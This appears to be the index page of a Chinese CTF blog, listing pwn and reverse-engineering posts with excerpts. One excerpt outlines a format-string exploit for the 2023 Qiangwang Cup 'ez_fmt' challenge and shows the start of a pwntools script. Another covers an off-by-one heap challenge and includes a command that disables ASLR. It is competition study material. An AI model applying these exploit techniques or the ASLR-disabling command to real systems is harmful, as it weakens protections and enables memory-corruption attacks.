周报
周报
2024春秋杯夏季赛
思考与总结
buuctf-reverse
一点逆向的学习
mips pwn入门指北
something about mips
time_formatter题解
uaf和命令注入
ssh-keygen提权
Some UIDs are better than others...
error spawn failed报错
疑难杂症治疗基地
写在2023结束
Goodbye 2023,hello 2024
2023 强网杯小记
昨天5点强网杯结束,坐牢两天,折磨的一批
强网先锋ez_fmt泄露libc基址,修改printf函数返回地址为start重新执行,修改main返回地址为one_gadget
ps:printf函数内部执行ret指令前,数据已经修改完成,所以修改printf函数返回地址也是ok的
123456789101112131415161718192021222324252627282930313233343536373839from pwn import *context(log_level='debug',arch='amd64')p=process('./ez_fmt')#p=remote('47.104.24.40',1337)p.recvuntil(b'There is a gift for you ')stack=int(p.recv(14),16)+0x68stack1=stack-0x70log.success('stack => '+hex(stack)) ...
off-by-one
b00ks题目地址:b00ks
知识点ASLR关闭ASLR保护
1echo 0 > /proc/sys/kernel/randomize_va_space
brk与mmap堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。
hook函数在2.34及以上的版本中删除了malloc_hook、freehook等钩子函数,虽然在libc中我们仍然能够查询到标签,但是实际上已经不参与调用了,这就导致之前的对于堆的许多攻击手法都基本失效了。
分析逆向逆向出关键结构体
12345v2[6] = 0; // size*(description + v1) = v2; // struct pointer*(v2 + 2) = v4; // description pointer*(v2 + 1) = ptr; ...